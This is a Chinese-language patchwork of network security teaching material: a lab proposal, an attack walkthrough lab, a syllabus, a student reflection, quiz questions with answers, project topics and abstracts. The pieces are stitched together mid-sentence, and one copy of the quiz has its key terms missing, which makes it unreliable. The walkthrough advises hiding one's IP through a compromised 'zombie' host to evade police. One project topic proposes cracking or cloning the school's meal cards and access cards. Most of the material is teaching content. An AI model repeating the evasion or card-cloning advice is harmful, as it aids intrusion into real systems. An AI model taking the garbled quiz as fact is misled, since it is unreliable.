目录 第一章网络安全人才需求 (3) 1.1网络安全现状 (3) 1.2国家正式颁布五级安全等级保护制度 (3) 1.3网络安全技术人才需求猛增 (4) 第二章网络安全技术教学存在的问题 (4) 2.1网络安全实验室的建设误区 (4) 2.2缺乏网络安全的师资力量 (4) 2.3缺乏实用性强的安全教材 (5) 第三章安全攻防实验室特点 (5) 3.1安全攻防实验室简介 (5) 第四章安全攻防实验室方案 (6) 4.1安全攻防实验室设备选型 (6) 4.1.1 传统安全设备 (6) 4.1.2 安全沙盒——使实验室具有攻防教学功能的独特产品 (6) 4.2安全攻防实验室拓扑图 (8) 4.3安全攻防实验室课程体系 (9) 4.3.1 初级DCNSA网络安全管理员课程 (9) 4.3.2 中级DCNSE网络安全工程师课程 (10) 4.4高级安全攻防实验室实验项目 (12) 4.4.1基本实验 (12) 4.4.1扩展实验 (14) 第七章网络实验室布局设计 (25) 7.1 实验室布局平面图 (25) 7.2 实验室布局效果图 (25) 7.3 机柜摆放位置的选择 (26)
第一章网络安全人才需求 1.1网络安全现状 信息技术飞速发展，各行各业对信息系统的依赖程度越来越高，建立持续、稳定、安全的网络是保障用户业务发展的前提。 近年来，安全问题却日益严重：病毒、木马、黑客攻击、网络钓鱼、DDOS 等安全威胁层出不穷，而且技术越来越复杂，病毒、木马及黑客技术等融合造成了网络安全的巨大危机。 用户都已经认识到了安全的重要性。纷纷采用防火墙、加密、身份认证、访问控制，备份等保护手段来保护信息系统的安全。 但是网络安全的技术支持以及安全管理人才极度缺乏。 1.2国家正式颁布五级安全等级保护制度 2007年7月24日，公安部、国家保密局、国家密码管理局、国务院信息工作办公室正式上线颁布了信息安全等级保护规定，信息安全等级保护管理办法及实施指南，颁布了《信息安全等级保护管理办法》、《信息系统安全等级保护定级指南》、《信息安全技术信息系统安全等级保护实施指南》、《信息安全技术信息系统安全等级保护基本要求》等办法。 办法明确规定，信息系统的安全保护等级分为五级，不同等级的信息系统应具备的基本安全保护能力如下： 第一级安全保护能力：应能够防护系统免受来自个人的、拥有很少资源的威胁源发起的恶意攻击、一般的自然灾难、以及其他相当危害程度的威胁所造成的关键资源损害，在系统遭到损害后，能够恢复部分功能。 第二级安全保护能力：应能够防护系统免受来自外部小型组织的、拥有少量资源的威胁源发起的恶意攻击、一般的自然灾难、以及其他相当危害程度的威胁所造成的重要资源损害，能够发现重要的安全漏洞和安全事件，在系统遭到损害后，能够在一段时间内恢复部分功能。 第三级安全保护能力：应能够在统一安全策略下防护系统免受来自外部有组织的团体、拥有较为丰富资源的威胁源发起的恶意攻击、较为严重的自然灾难、以及其他相当危害程度的威胁所造成的主要资源损害，能够发现安全漏洞和安全事件，在系统遭到损害后，能够较快恢复绝大部分功能。 第四级安全保护能力：应能够在统一安全策略下防护系统免受来自国家级别的、敌对组织的、拥有丰富资源的威胁源发起的恶意攻击、严重的自然灾难、以及其他相当危害程度
网络攻击实例 实验目的：通过本实例熟悉一个完整的网络攻击的基本步骤 实验环境：局域网中xp系统的pc机两台（被攻击的系统ie为6.0 sp1/sp2，并关闭杀毒软件）和metasploit软件、木马软件、日志清除软件（实验已提供） 实验步骤： Ⅰ、实验简介：通过对实验目标主机（本例中A机为目标机）攻击前后的各个步骤实践，从而熟悉一次完整的网络攻击的基本步骤。 实验拓扑： Ⅱ、下面以网络攻击“五部曲”进行各个步骤介绍。 1、隐藏IP 这一步必须做，因为如果自己的入侵的痕迹被发现了，当网警找上门的时候就一切都晚了。 通常有两种方法实现自己IP的隐藏： 第一种方法是首先入侵互联网上的一台电脑（俗称“肉鸡”），利用这台电脑进行攻击，这样即使被发现了，也是“肉鸡”的IP地址。（本例为了节省时间已经将本机主机B假设成了一台肉鸡，若要抓取肉鸡可以利用实验三的知识） 第二种方法是利用代理。 2、踩点扫描 踩点就是通过各种途径对所要攻击的目标进行多方面的了解（包括任何可得到的蛛丝马迹，但要确保信息的准确），确定攻击的时间和地点。 扫描的目的是利用各种工具在攻击目标的IP地址或地址段的主机上寻找漏洞。扫描分成两种策略：被动式策略和主动式策略。 常见的踩点方法包括： 在域名及其注册机构的查询 目标性质的了解 对主页进行分析 邮件地址的搜集 目标IP地址范围查询。 本例实验环境特殊，直接就是在同一个局域网里所以直接通过简单的扫描就可以踩点到目标机A的信息。下面假设我们已经踩点到目标机A的ip为“192.168.1.233”，浏览器为ie6.0 sp2 所以我们可以利用本地主机B对目标机A是可信的（他们同处一个局域网，假设他们是可信的），对目标机A进行URL诱骗攻击。 3、获得系统或管理员权限 得到管理员权限的目的是连接到远程计算机，对其进行控制，达到自己攻击目的。获得系统及管理员权限的方法有： 通过系统漏洞获得系统权限 通过管理漏洞获得管理员权限 通过软件漏洞得到系统权限 通过监听获得敏感信息进一步获得相应权限
课程学习体会 通过学习网络安全技术这门课，我了解到随着计算机网络的不断发展，全球信息化已成为人类发展的大趋势；给政府机构、企事业单位带来了革命性的改革。但由于计算机网络具有联结形式多样性、终端分布不均匀性和网络的开放性、互连性等特征，致使网络易受黑客、病毒、恶意软件和其他不轨的攻击，所以网上信息的安全和保密是一个至关重要的问题。 认真分析网络面临的威胁，我认为，计算机网络系统的安全防范工作是一个极为复杂的系统工程，是一个安全管理和技术防范相结合的工程。在目前法律法规尚不完善的情况下，首先是各计算机网络应用部门领导的重视，加强工作人员的责任心和防范意识，自觉执行各项安全制度，在此基础上，再采用先进的技术和产品，构造全方位的防御机制，使系统在理想的状态下运行。 学习了这门课程，让我对网络安全技术有了深刻的了解及体会： 一、网络安全的简介： 安全就是最大程度地减少数据和资源被攻击的可性。从本质上说，网络的安全和信息的安全等同，指的是网络系统的软硬件和系统中的数据受到保护，不受各种偶然的或者恶意的网络攻击而遭到损坏、修改、删除等，系统连续可靠正常地运行，网络服务不中断。从广泛意义上讲，凡是涉及到网络上信息的完整性、保密性、可控性，可用性和不可否认性的相关技术和理论都是网络安全所要进行研究的领域。提供安全性的所有技术大致分为两个部分：1、对将被发送的信息进
行安全性相关的变换，包括消息的加密，通过加密搅乱了该消息，使攻击者不可读；2、增加基于该消息内容的代码，使之能够用于证实 发送者的身份。 二、网络安全脆弱的原因： 1、开放性的网络环境 正如一句非常经典的话：“Internet的美妙之处在于你和每个人都能互相连接，Internet的可怕之处在于每个人都能和你相互连接。 2、源于协议本身的挑战 有网络传输就有网络传输协议的存在，每一种网络传输协议都有不同的层次、不同方面的漏洞，被广大用户使用的TCP/IP也不例外的存在着自身的漏洞。如网络应用层服务的安全隐患、IP层通信系统的易欺骗性、数据传输机制为广播发送等。 3、操作系统存在漏洞 使用网络离不开操作系统，操作系统的安全性对网络安全同样有非常重要的影响，有很多攻击方法都是从寻找操作系统缺陷入手的。如系统模型本身的缺陷、操作系统的源代码存在Bug、操作系统程序配置不正确、安全管理知识的缺乏也是影响网络安全的一个重要因素。 三、网络攻击与防御技术： 黑客攻击和网络安全的是紧密结合在一起的，研究网络安全不研究黑客攻击技术简直是纸上谈兵，研究攻击技术不研究网络安全就是闭门造车。某种意义上说没有攻击就没有安全，系统管理员可以利用常见的攻击手段对系统进行检测，并对相关的漏洞采取措施。
《网络攻击与防范》教学大纲 一、课程的基本描述 课程名称：网络攻击与防范 课程性质：专业课适用专业：计算机、软件、网络 总学时：85学时理论学时：34学时 实验学时：51学时课程设计：无 学分： 3.0学分开课学期：第五或第六学期 前导课程：计算机网络 后续课程： 二、课程教学目标 本课程主要介绍网络攻击的常规思路、常用方法、常见工具，以及针对攻击的网络防御方面常规的防御思路、防御方法和防御工具。通过该课程教学，学生应当： 能够深入理解当前网络通信协议中存在的缺陷和问题，理解当前系统和应用软件中可能潜在的漏洞和问题。了解当前技术条件下网络攻防的思路方法和相应的攻防工具。 培养现代计算机网络环境下，熟练使用各类常见攻防工具的能力，同时培养出查找问题、分析问题和解决问题的能力。 初步培养网络攻防方面的安全意识和危机意识。 三、知识点与学时分配 第一章网络攻防技术概述 教学要点：本章立足网络空间安全，介绍网络攻防的基本概念和相关技术。 教学时数：6学时 教学内容： 1.1 黑客、红客及红黑对抗 要点：了解黑客起源、发展，以及黑客、红客和红黑对抗的相关概念； 1.2 网络攻击的类型
要点：了解主动攻击、被动攻击的相关概念及方式； 1.3 网络攻击的属性 要点：掌握攻击中权限、转换防范和动作三种属性类型，加深对攻击过程的理解； 1.4 主要攻击方法 要点：了解端口扫描的概念及原理；了解口令攻击的概念及三种攻击方式；了解Hash 函数的相关概念，掌握彩虹表的工作原理；了解漏洞攻击的相关概念，以及产生的原因； 了解缓冲区溢出的概念，掌握缓冲区溢出的原理，以及利用缓冲区溢出攻击的过程；了解电子邮件攻击的概念，以及目标收割攻击的工作原理；了解高级持续威胁的概念、特点以及主要环节；了解社会工程学的概念，以及社会工程学攻击的方式、步骤； 1.5 网络攻击的实施过程 要点：掌握攻击实施的三个过程：包括攻击发起阶段可用于分析、评估的属性；攻击作用阶段的作用点判定原则；攻击结果阶段的具体表现评价方式； 1.6 网络攻击的发展趋势 要点：了解云计算及面临的攻击威胁、移动互联网面临的攻击威胁和大数据应用面临的攻击威胁等新应用产生的新攻击方式；了解网络攻击的演进过程和趋势；了解网络攻击的新特点。 考核要求：熟悉网络攻防的相关概念，能识别网络攻击方式及掌握攻击的评估方法。第二章 Windows操作系统的攻防 教学要点：从Windows操作系统基本结构入手，在了解其安全体系和机制的基础上，掌握相关的安全攻防技术。 教学时数：4学时 教学内容： 2.1 Windows操作系统的安全机制 要点：了解Windows操作系统的层次结构；了解Windows服务器的安全模型； 2.2 针对Windows数据的攻防 要点：掌握EFS、BitLocker两种加密方式的原理、实行步骤以及特点；了解数据存储采用的相关技术；了解数据处理安全的相关技术； 2.3 针对账户的攻防
第1章(P27) 三、简答题 ●1. 网络攻击和防御分别包括哪些内容？ 答：①攻击技术：网络扫描，网络监听，网络入侵，网络后门，网络隐身 ②防御技术：安全操作系统和操作系统的安全配置，加密技术，防火墙技术，入侵检测，网络安全协议。 ●2. 从层次上，网络安全可以分成哪几层？每层有什么特点？ 答：从层次体系上，可以将网络安全分为4个层次上的安全： （1）物理安全特点：防火，防盗，防静电，防雷击和防电磁泄露。 （2）逻辑安全特点：计算机的逻辑安全需要用口令、文件许可等方法实现。 （3）操作系统特点：操作系统是计算机中最基本、最重要的软件。操作系统的安全是网络安全的基础。（4）联网安全特点：联网的安全性通过访问控制和通信安全两方面的服务来保证。 6.网络安全橙皮书是什么？包括哪些内容？ 答：可信任计算机标准评价准则（Trusted Computer Standards Evaluation Criteria,TCSEC），即网络安全橙皮书，一些计算机安全级别被用来评价一个计算机系统的安全性。 橙皮书把安全的级别从低到高分成4个类别：D类、C类、B类和A类 第2章（P56） 三、简答题 2. 简述TCP/IP协议族的基本结构，并分析每层可能受到的威胁及如何防御。 答：讨论TCP/IP的时候,总是按五层来看,即物理层,数据链路层,网络层,传输层和应用层.1.物理层:这里的威胁主要是窃听,那使用防窃听技术就可以了;2.数据链路层:有很多工具可以捕获数据帧,如果有条件的话,可以使用数据加密机;3.网络层:针对IP包的攻击是很多的,主要是因为IPv4的数据包本身是不经过加密处理的,所以里面的信息很容易被截获,现在可以使用IPSec来提供加密机制;4.传输层:针对TCP的攻击也多了,在这里一般使用进程到进程(或者说端到端的)加密,也就是在发送信息之前将信息加密,接收到信息后再去信息进行解密,但一般会使用SSL;5.应用层:在应用层能做的事情太多,所以在这里做一些安全措施也是有效的; ●5.简述常用的网络服务和提供服务的默认端口。 答：端口：0 服务：Reserved 说明：通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描，使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。 端口：1 服务：tcpmux 说明：这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户，如：IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。 端口：7 服务：Echo 说明：能看到许多人搜索Fraggle放大器时，发送到X.X.X.0和X.X.X.255的信息。端口：19 服务：Character Generator 说明：这是一种仅仅发送字符的服务。UDP版本将会在收到UDP
第1章网络安全概述与环境配置 一、选择题 1. 狭义上说的信息安全，只是从自然科学的角度介绍信息安全的研究内容。 2. 信息安全从总体上可以分成5个层次，密码技术是信息安全中研究的关键点。 3. 信息安全的目标指的是机密性，完整性，可用性。 4. 1999年10月经过国家质量技术监督局批准发布的《计算机信息系统安全保护等级划分准则》将计算机安全保护划分为以下5个级别。 二、填空题 1. 信息保障的核心思想是对系统或者数据的4个方面的要求：保护（），检测（），反应（），恢复（）。 2. 目的是在计算和通信系统中广泛使用基于硬件安全模块支持下的可信计算平台，以提高整体的安全性。 3. 从1998年到2006年，平均年增长幅度达50％左右，使这些安全事件的主要因素是系统和网络安全脆弱性（）层出不穷，这些安全威胁事件给带来巨大的经济损失。 4. B2级，又叫结构保护（）级别，它要求计算机系统中所有的对象都要加上标签，而且给设备（磁盘、磁带和终端）分配单
个或者多个安全级别。 5. 从系统安全的角度可以把网络安全的研究内容分成两大体系：攻击和防御。 三、简答题 1. 网络攻击和防御分别包括哪些内容？ 答：①攻击技术：网络扫描，网络监听，网络入侵，网络后门，网络隐身 ②防御技术：安全操作系统和操作系统的安全配置，加密技术，防火墙技术，入侵检测，网络安全协议。 2. 从层次上，网络安全可以分成哪几层？每层有什么特点？ 答：从层次体系上，可以将网络安全分为4个层次上的安全：（1）物理安全特点：防火，防盗，防静电，防雷击和防电磁泄露。 （2）逻辑安全特点：计算机的逻辑安全需要用口令、文件许可等方法实现。 （3）操作系统特点：操作系统是计算机中最基本、最重要的软件。操作系统的安全是网络安全的基础。 （4）联网安全特点：联网的安全性通过访问控制和通信安全两方面的服务来保证。 3、为什么要研究网络安全？ 答：目前研究网络安全已经不只为了信息和数据的安全性。网络安全已经渗透到国家的政治、经济、军事等领域，并影响到社会
一、选择题（单选） 1、历史上，和对系统的口令加密函数()进行了下列哪一种改进措施，使得攻击者在破解系统口令时增加了非常大的难度。（A ） A.引入了机制 B. 引入了变换 C.改变了加密算法 D.增加了加密次数 2、下列哪一种网络欺骗技术是实施交换式（基于交换机的网络环境）嗅探攻击的前提?（C） 欺骗欺骗欺骗D.路由欺骗 3、通过序号猜测，攻击者可以实施下列哪一种攻击？（D） A.端口扫描攻击欺骗攻击C.网络监听攻击会话劫持攻击 4、目前常见的网络攻击活动隐藏不包括下列哪一种？（A ） A.网络流量隐藏 B.网络连接隐藏 C.进程活动隐藏 D.目录文件隐藏 .5、在系统中可用来隐藏文件（设置文件的隐藏属性）的命令是。（B） B. D. 6、系统中的命令用来搜索来显示自从文件创建以来曾经登录过的用户，包括登录/退出时间、终端、登录主机地址。（B） 文件文件 C. 文件 D. 文件
7、系统中的w和命令用来搜索来报告当前登录的每个用户及相关信息。（A） 文件 B. 文件 C. 文件 D. 文件 8、流行的工具提供什么类型的网络攻击痕迹消除功能?（D） A.防火墙系统攻击痕迹清除 B. 入侵检测系统攻击痕迹清除 系统攻击痕迹清除 D. 系统攻击痕迹清除 9、是一个常用的平台上的远程口令破解工具，它不支持以下哪一种类型的口令破解（A） A. B. 3 C. D. 10、在大家熟知的病毒、蠕虫之中，下列哪一项不具备通过网络复制传播的特性？（D） A.红色代码 B.尼姆达（） C.狮子王（） D. 11、网络监听（嗅探）的这种攻击形式破坏了下列哪一项内容？（B） A.网络信息的抗抵赖性 B.网络信息的保密性 C.网络服务的可用性 D.网络信息的完整性 12、会话劫持的这种攻击形式破坏了下列哪一项内容？（D） A.网络信息的抗抵赖性 B.网络信息的保密性 C.网络服务的可用性 D.网络信息的完整性 13、拒绝服务攻击的这种攻击形式破坏了下列哪一项内容？（A）
网络攻防课程设计 1、课题目的：通过本课程设计的实施，掌握网络攻防技术的基本原理和方法，全面了解网络攻击与防范技术，掌握网络防范体系的相关内容，并具备对各种常见网络攻击进行基本防御的能力。 2、背景知识：巩固和运用所学的计算机网络、LINUX系统编程、操作系统、程序设计语言、密码学、信息对抗技术、网络攻防、网络管理与维护等各门专业基础和专业课程知识。 3、具体选题包括： ●网络攻防实验环境搭建和测试(个人) ●网络信息搜索与扫描技术实践(个人) ●无线加密破解实践与分析(个人或2人团队) ●解码一次网络扫描/扫描攻防对抗(个人或2人团队) ●TCP/IP网络协议栈攻击(个人) ●分析蜜网网关中防火墙与入侵检测系统配置规则(个人) ●Linux系统渗透攻防对抗(2人团队) ●Windows系统渗透攻防对抗(2人团队)
●分析一个恶意代码样本(2人团队) ●分析一个实际的Buffer Overflow漏洞(2人团队) ●SQL注入和XSS攻击(2人团队) ●网站挂马案例分析(2人团队) ●僵尸网络取证分析实践(2人团队) 1、破解RFID 射频识别即RFID (Radio Frequency Identification), 一套RFID 系统至少由两部分：应答器(Transponder)、询问器（Interrogator）or 阅读器（Reader）。 选题要求：了解RFID的背景及理论知识，学习ID/IC等卡的破解、全复制等技术，尝试对学校饭卡、一卡通、门禁卡等进行破解或复制。参考资料：google:radiowar or RFID破解 2、无线破解 选题要求：了解常见无线加密方式如：WEP/WPA/WPA2，通过学习各种协议相关弱点，尝试对每一种加密协议加密的无线密码进行破解。 3、密码学中的攻击(Padding Oracle Attack) https://www.doczj.com/doc/c112152671.html,的Padding Oracle Attack被Pwnie评为2010年最佳服务端漏洞之一。 选题要求：了解CBC模式及DES加密，进而深入解析Padding oracle
一、选择题（单选） 1、历史上，Morris和Thompson对Unix系统的口令加密函数Crypt()进行了下列哪一种改进措施，使得攻击者在破解Unix系统口令时增加了非常大的难度。（A ） A.引入了Salt机制 B. 引入了Shadow变换 C.改变了加密算法 D.增加了加密次数 2、下列哪一种网络欺骗技术是实施交换式（基于交换机的网络环境）嗅探攻击的前提?（C） A.IP欺骗 B.DNS欺骗 C.ARP欺骗 D.路由欺骗 3、通过TCP序号猜测，攻击者可以实施下列哪一种攻击？（D） A.端口扫描攻击 B.ARP欺骗攻击 C.网络监听攻击 D.TCP会话劫持攻击 4、目前常见的网络攻击活动隐藏不包括下列哪一种？（A ） A.网络流量隐藏 B.网络连接隐藏 C.进程活动隐藏 D.目录文件隐藏 .5、在Windows系统中可用来隐藏文件（设置文件的隐藏属性）的命令是____。（B） A.dir B. attrib C.ls D. move 6、Unix系统中的last命令用来搜索____来显示自从文件创建以来曾经登录过的用户，包括登录/退出时间、终端、登录主机IP地址。（B） A.utmp/utmpx文件 B.wtmp/wtmpx文件 C. lastlog文件 D. attc文件 7、Unix系统中的w和who命令用来搜索____来报告当前登录的每个用户及相关信息。（A） A.utmp/utmpx文件 B. wtmp/wtmpx文件 C. lastlog文件 D. attc文件 8、流行的Wipe工具提供什么类型的网络攻击痕迹消除功能?（D） A.防火墙系统攻击痕迹清除 B. 入侵检测系统攻击痕迹清除 C.Windows NT系统攻击痕迹清除 D. Unix系统攻击痕迹清除 9、Brutus是一个常用的Windows平台上的远程口令破解工具，它不支持以下哪一种类型的口令破解（A） A. SMTP B. POP3 C. Telnet D. FTP 10、在大家熟知的病毒、蠕虫之中，下列哪一项不具备通过网络复制传播的特性？（D） A.红色代码 B.尼姆达（Nimda） C.狮子王（SQL Slammer） D. CIH 11、网络监听（嗅探）的这种攻击形式破坏了下列哪一项内容？（B） A.网络信息的抗抵赖性 B.网络信息的保密性 C.网络服务的可用性 D.网络信息的完整性 12、会话劫持的这种攻击形式破坏了下列哪一项内容？（D） A.网络信息的抗抵赖性 B.网络信息的保密性 C.网络服务的可用性 D.网络信息的完整性 13、拒绝服务攻击的这种攻击形式破坏了下列哪一项内容？（A）
摘要 网络的攻防战和信息的保护是21世纪信息化时代的一个重头戏。整个网络通讯离不开对于信息的保护，通过洞察黑客（hacker）的所思所想，知己知彼，然后通过各种手段去建立一个安全的Internet网络连接，打赢这场网络攻防战。 信息攻击有多种途径，黑客可以通过如散播病毒或者强行攻击密码等途径来侵入我们的系统。与此同时我们也要不断的完善我们的信息安全机制，通过制定防火墙和加强密码来保障我们的信息和数据不被非法的获取。 关键词：信息安全(information security)、黑客(hacker)、防火墙(firewall)、加密(code) Abstract Network of battle and the protection of information are very important in the21st century,for the network communication is unable to work without the protection of information.Regard you as a hacker and by all means to establish a secure Internet network connection in order to win this battle. There are many ways to attack the information such as spreading viruses in order to invade our computer system.At the same time we must continuously improve our information security,through the development of firewalls and strong passwords to protect our information and data from unauthorized access . Keywords:information security;hacker;firewall;code.
论文摘要：计算机网络入侵会给系统带来灾难性的后果，为了降低网络入侵带来的风险，可以运用网络攻防实验来模拟网络入侵。阐述了攻防实验是对系统风险评估的有效手段，是信息安全技术的重要组成部分。攻防实验在刚起步的时候仅仅是对信息安全技术的有效提升，而之后它的重要性会逐渐增加并开始成为信息系统风险评估的重要技术补充。重点从技术的角度叙述了攻防实验的主要方法，从而使攻防实验井然有序地进行。 论文关键词：攻防实验技术；风险评估；信息安全 0引言 网络的开放性、黑客的攻击和系统本身的缺陷导致网络内的计算机并不安全，网络入侵也经常发生，往往造成严重的后果，为了尽早恢复网络或系统的正常运转，降低入侵的风险成为了急待解决的问题。由于攻防实验技术以入侵技术为前提，因此防御实验存在着时间滞后性。攻防实验也成螺旋状态不断地发展变化。本文通过对攻防技术的具体剖析来对攻防实验的一般方法和过程进行详细介绍。 l攻防实验与信息安全风险评估 根据国标(GB／T20984—2007信息安全技术信息安全风险评估规范》，信息安全风险评估被解释为“依据有关信息安全技术与管理标准，对信息系统及由其处理、传输和存储的西悉尼的保密性、完整性和可用性等安全屙陆进行评价的过程。它要评估资产面临的威胁以及威胁利用脆弱性导致安全事件的可能性，并结合安全事件所涉及的资产价值来判断安全事件一旦发生对组织造成的影响”。风险评估是对信息系统的安全属性进行评估，风险级别和评估范围决定评估的方式和方法，而评估方式和方法决定评估的手段。攻防实验技术是对风险评估工作的有效技术补充，是对系统保密性、完整性和可用性的系统评估分析手段，可降低安全事件发生的可能性，对修订安全策略、加强调整预防、监控和应急有着不可忽视的作用。 2攻防实验的目标和任务 在攻击和防御的对抗中，攻击方通常掌握着主动性，而防御方必须具备能够和攻击方相抗衡的智能。因此，攻防实验通常需要达到的目标是发现信息系统的脆弱性，提高信息系统的防御能力和信息系统的入侵响应能力，尽可能有效排除信息系统的威胁。 攻防实验的第一任务是掌握先进的入侵方法和手段，发现信息系统的潜在脆弱性，分析攻击的规律及轨迹，为反向工程提供实践依据。很多情况下，信息系统的入侵是由于管理员不知道黑客攻击的入侵手段和系统的潜在脆弱性，不能够快速反应。攻防实验的第二任务是收集积累准确的数据资料，为安全策略分析和系统改进提供依据。在攻防实验的过程中，要注意记录和保留相关的原始资料，为下一阶段的分析和总结提供良好的基础。 3攻防实验的主要技术 为了井然有序地进行攻防实验，攻防实验可以被分成人侵技术和防御技术。两者相辅相成，但防御技术比入侵技术发展滞后。入侵技术又可分为信息搜集技术和攻击技术，防御技术可分为监控技术、检测技术和蜜罐技术。通过对攻防实验的准确定位，达到让攻防实验可以较真实较全面地模拟网络人侵。同时依据信息安全风险评估规范，可以有针对性地对某类入侵进行详细的资料搜集和数据分析。 3．1入侵技术 基于对网络攻击行为过程性的认识，人侵技术以入侵目标网络为主要目的，通常以入侵为主要手段，以盗取信息或破坏系统为主要目的。对其进行分类研究，对于了解攻击的本质以更准确地对其进行检测和响应具有重要的意义。通常，入侵以信息搜集为前导，通过系统所暴露的脆弱性进行相应的入侵操作，可分为攻击技术和信息利用技术。 攻击技术包括攻击前期的信息搜集技术和后期的攻击技术。黑客的入侵过程通常在对目标主机的扫描探测后，针对系统所暴露的脆弱性和漏洞，对系统进行入侵操作。
关于网络攻击与防御技术实验教程 最近有网友想了解下《网络攻击与防御技术实验教程》张玉清写的这本书,所以小编就整理了相关资料分享给大家,具体内容如下.希望大家参考参考!!! 《网络攻击与防御技术实验教程》 《网络攻击与防御技术实验教程》内容简介 网络攻击与防御技术是网络安全的核心和焦点，也是确保网络安全实际动手能力的综合体现。全书共分11章，第1章介绍如何进行系统安全配置并搭建一个用于网络攻防实验的虚拟机，在接下来的各章中，在回顾理论知识的同时，结合动手实验介绍网络典型攻防技术，这些网络典型攻防技术包括扫描技术、网络监听及防御技术、口令攻击、欺骗攻击及防御、拒绝服务攻击与防范、缓冲区溢出攻击及防御、Web攻击及防范、木马攻击及防御、病毒与蠕虫攻击及防御和典型网络攻击防御技术。通过这种理论与实践相结合的网络攻防技术的学习，读者会对网络攻击与防御技术有更直观和深刻的理解。 书中各章内容安排方式为：理论知识回顾、基本实验指导
和巩固提高型实验。 本书可以作为信息安全、计算机、通信等相关专业研究生、本科生的教材，也可供从事网络安全研发的工程技术人员和热衷网络攻防技术的读者参考。 《网络攻击与防御技术实验教程》前言/序言 “知彼知己，百战不殆。" --孙子兵法网络安全已成为人们在信息空间中生存与发展的重要保证条件，与国家的政治安全、经济安全、军事安全、社会稳定以及人们的日常生活密切相关。由于兴趣爱好和经济利益的驱使，黑客攻击事件层出不穷。公司和国家只有积极防御，才能在攻击环境下生存。 攻击与防御是一对相互制约和相互发展的网络安全技术。 本实验教程的目标是帮助安全人员理解黑客的攻击方法和步骤，事实一次又一次地证明，理解敌人的策略、技巧和工具对保护自己是多么的重要。同时，本教程还让安全人员了解能采取哪些策略来防范各类攻击。